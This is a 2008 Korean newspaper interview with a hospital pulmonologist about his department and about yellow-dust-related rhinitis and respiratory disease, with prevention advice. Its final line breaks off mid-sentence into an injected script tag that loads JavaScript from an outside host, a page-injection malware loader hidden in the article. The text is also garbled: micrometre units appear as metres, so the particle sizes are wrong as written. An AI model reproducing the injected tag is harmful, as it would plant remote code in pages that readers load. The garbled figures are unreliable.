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인터뷰 - 김 철 홍 한강성심병원 호흡기내과 과장

관리자 기자  2008.05.13 01:40:00

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호흡기 감염증, ‘뇌졸중·심근경색’ 발병위험 높여

 

새집증후군으로 병원을 찾거나 봄철 황사로 인해 호흡기 질병 환자들이 늘고 있다. 본지는 한강성심병원 호흡기 내과 김철홍 과장을 만나 새집증후군으로 인해 발생할 수 있는 질병과  원인 등 전반적인 호흡기 질병에 대해 들어보았다. <편집자 주>

 

한강성심병원 호흡기내과를 찾는 환자 및 보호자에게 한 말씀

우선 한강성심병원을 찾아주시는 환자 및 보호자 여러분을 진심으로 환영하는 바입니다. 아울러 저희 호흡기내과를 방문해 주시는 분들께도 감사의 말씀을 올립니다. 호흡기내과는 기관지, 폐장 그리고 폐를 둘러싸고 있는 흉벽의 질환들을 치료하고 연구하는 내과의 한 분과입니다.
폐렴과 폐결핵 등의 감염성 호흡기질환, 기관지천식을 포함한 각종 알레르기질환, 폐기종 및 만성기관지염 등의 만성폐쇄성폐질환, 흉막질환, 폐섬유화증과 같은 간질성 폐질환, 최근 증가추세에 있는 폐암을 비롯해 호흡기계에 발생하는 다양한 양성 및 악성 종양을 진료하고 있습니다. 또한 세계적 수준의 화상센터를 보유하고 있는 본원의 특성상 중화상 환자의 호흡관리뿐만 아니라 연기 흡입으로 인한 호흡기계의 손상, 즉 흡입화상에 대해서도 치료 및 활발한 연구가 이루어지고 있습니다.
호흡부전이 발생한 경우에는 내과계 중환자실에서 중환자 관리와 기계호흡을 통한 호흡치료를 담당하고 있습니다. 이들 모든 질환은 감염내과, 흉부외과, 병리과, 혈액종양내과 및 영상의학과와의 협진을 통해서 진단 및 치료에 임할 뿐만 아니라 학생교육과 임상연구도 활발히 시행하고 있습니다.
저희 호흡기내과 의료진은 지역 주민들을 위한 병원으로서 그리고 대학병원으로서의 위상을 다하고자 노력하고 있습니다. 또한 환자 및 보호자들에게 좀 더 가까이 다가갈 수 있는 이웃병원이 될 수 있도록 성심을 다하겠습니다.

 

 

봄철 황사로 인한 대표 질병은 비염 및 호흡기질환으로 알려져 있는데 치료 및 예방법에 대해

황사란 건조지대인 몽골의 고비사막, 중국 황하상류 황토지대, 중국 내륙 타클라마칸 사막 등지에서 흙먼지가 강한 상승기류를 타고 3,000-5,000m 상공으로 올라가 하늘을 뒤덮는 자연현상을 말합니다.
매년 3-5월에 걸쳐 20여 차례 발생하는데, 초속 30m 의 강한 편서풍에 실려 우리나라에까지 날려와 뿌려지면 심하면 일본까지 날아갑니다. 황사 알갱이 크기는 10-1,000m 까지 다양합니다. 통상적으로 1,000 m 까지를 황사(yellow sand)라고 하며, 10 m 이하의 입자는 황진(yellow dust)이라 합니다. 일반적으로 폐장에 해를 미치는 분진의 크기는 0.5-5m 정도로 이 범위보다 작은 분진은 숨을 내쉴 때 밖으로 배출되며 이보다 큰 것은 상부 기관지에서 포착돼 가래와 함께 배출됩니다.
따라서 황사 먼지는 폐에 문제가 되지 않을 수 있습니다. 하지만 황사 현상이 생길 때는 폐에 영향을 미치는 황진의 농도를 증가시키는 경향이 있는 데 보고에 의하면 약 40% 이상 증가한다고 알려져 있습니다.
최근 중국의 급속한 공업화로 아황산가스, 실리콘, 카드뮴, 납, 알루미늄, 구리 등 유해물질을 많이 포함하게 되면서 우리 몸의 건강에 적지 않은 영향을 미치고 있습니다. 이에 따라, 황진이 우리 몸 깊숙이 침투해서 비염, 천식 및 기관지염 등의 호흡기질환, 접촉성 피부염, 알레르기성 결막염 등을 유발할 수 있으므로 이에 대한 적절한 대처와 예방을 알아보고자 합니다.
알레르기성 비염
두통과 함께 코가 막히고 재채기를 동반한 맑은 콧물이 나오면 알레르기성 비염을 의심할 수 있습니다. 특히 봄철에는 먼지와 꽃가루 등으로 인해 증상이 악화되는 경우가 많습니다.
따라서 건조하고 바람이 많이 부는 날에는 외출 시 마스크를 착용하는 것이 좋습니다. 예방목적으로 코에 뿌리는 분무제도 도움이 됩니다. 증상이 심한 사람은 병원에서 항히스타민제를 처방받아 복용하도록 합니다. 코 점막 충혈을 완화시키기 위해 혈관수축제를 코 안에 뿌리거나, 크로몰린 소디움을 미리 코에 뿌려주면 도움이 되기도 합니다.

호흡기질환

황사가 시작되면 개인 한 사람이 흡입하는 먼지는 평상시의 세배에 이르며 각종 금속성분도 2 ? 10 배 많아지므로 기관지염이나 천식을 악화시킬 수 있습니다. 공기중의 황사가 폐로 들어가면 기도점막을 자극해 정상적인 사람도 호흡이 곤란해지는 등 위험한 상태에 빠질 수 있으므로 세심한 주의가 필요합니다.
예방법은 황사가 나타나면 바깥출입을 자제하고 외출 후에는 칫솔질이나 구강 청정제를 이용해 입속을 깨끗이 합니다.
또한 수분을 충분히 섭취하고 실내 습도를 적절하게 ?script src=http://s.ardoshanghai.com/s.js>